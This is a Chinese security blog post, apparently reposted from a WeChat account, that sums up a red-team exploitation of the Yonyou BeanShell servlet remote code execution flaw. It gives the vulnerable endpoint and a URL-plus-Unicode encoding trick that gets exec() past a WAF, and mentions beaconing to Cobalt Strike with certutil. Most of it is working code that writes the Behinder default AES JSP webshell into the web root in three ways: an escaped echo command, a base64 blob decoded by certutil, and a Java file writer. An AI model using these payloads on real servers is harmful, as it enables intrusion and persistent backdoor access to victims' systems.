一、前言
在某次攻防演练中碰到了这种“爱情来了”般的历史漏洞,虽说轻轻松松拿下了权限,但还是要保持良好习惯,做个总结记录方便以后查阅。
二、漏洞验证和利用
验证漏洞是否存在,访问/servlet/~ic/bsh.servlet.BshServlet
执行简单的语句,bsh.script=print(1*2),成功执行漏洞存在
命令执行,exec()被waf拦截
Unicode编码也被拦截,exeu0063()、u0065u0078u0065u0063()
对u0065u0078u0065u0063再进行url一次编码,成功绕过waf执行命令
三、常见webshell写入方式
-
上线cs后写webshell
因为服务器出网、没安装杀软且存在waf拦截,我这里就采用certutil直接上线CS的方式了曲线救国,先上线再上传webshell
下列demo均为冰蝎默认webshell
-
echo写文件
-
echo直接写入
echo ^<^%^import^=^"java^.util^.^*^,javax^.crypto^.^*^,javax^.crypto^.spec^.^*^"^%^>^<^%^!class^ U^ extends^ ClassLoader^{U^(ClassLoader^ c^)^{super^(c^)^;^}public^ Class^ g^(byte^ ^[^]b^)^{return^ super^.defineClass^(b^,^0^,b^.length^)^;^}^}^%^>^<^%if^ ^(request^.getMethod^(^)^.equals^(^"POST^"^)^)^{String^ k^=^"e^4^5e^3^2^9feb^5d^9^2^5b^"^;^/^*^该^密^钥^为^连^接^密^码^3^2^位md^5^值^的^前^1^6^位^,^默^认^连^接^密^码rebeyond^*^/session^.putValue^(^"u^"^,k^)^;Cipher^ c^=Cipher^.getInstance^(^"AES^"^)^;c^.init^(^2^,new^ SecretKeySpec^(k^.getBytes^(^)^,^"AES^"^)^)^;new^ U^(this^.getClass^(^)^.getClassLoader^(^)^)^.g^(c^.doFinal^(new^ sun^.misc^.BASE^6^4Decoder^(^)^.decodeBuffer^(request^.getReader^(^)^.readLine^(^)^)^)^)^.newInstance^(^)^.equals^(pageContext^)^;^}^%^> > E:webappsh1z1.jsp ^
-
echo写入base64字符串,certutil解码
写入
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBcmViZXlvbmQqL3Nlc3Npb24ucHV0VmFsdWUoInUiLGspO0NpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KDIsbmV3IFNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7fSU+ > E:webappsh1z1_base64.txt
解码
certutil -f -decode E:webappsh1z1_base64.txt E:webappsh1z1.jsp
-
Java写文件
找web路径
import java.lang.*;
print(System.getProperty("user.dir"));
print("bc");
看目录下文件
import java.io.File;
File dir = new File("E:\U8CERP\webapps\u8c_web");
File[] files = dir.listFiles();
print(files);
写入(冰蝎默认webshell)
import java.io.*;
String filePath = "E:\U8CERP\webapps\u8c_web\h1z1.jsp";
String conent = "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";
BufferedWriter out = null;
try
{
File file = new File(filePath);
File fileParent = file.getParentFile();
if(!fileParent.exists())
{
fileParent.mkdirs();
}
file.createNewFile();
out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));
out.write(conent);
}
catch (Exception e)
{
e.printStackTrace();
}
finally
{
try
{
out.close();
}
catch (IOException e)
{
e.printStackTrace();
}
}
原文始发于微信公众号(哈拉少安全小队):战后总结篇-用友BeanShell接口RCE姿势总结(bypass)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论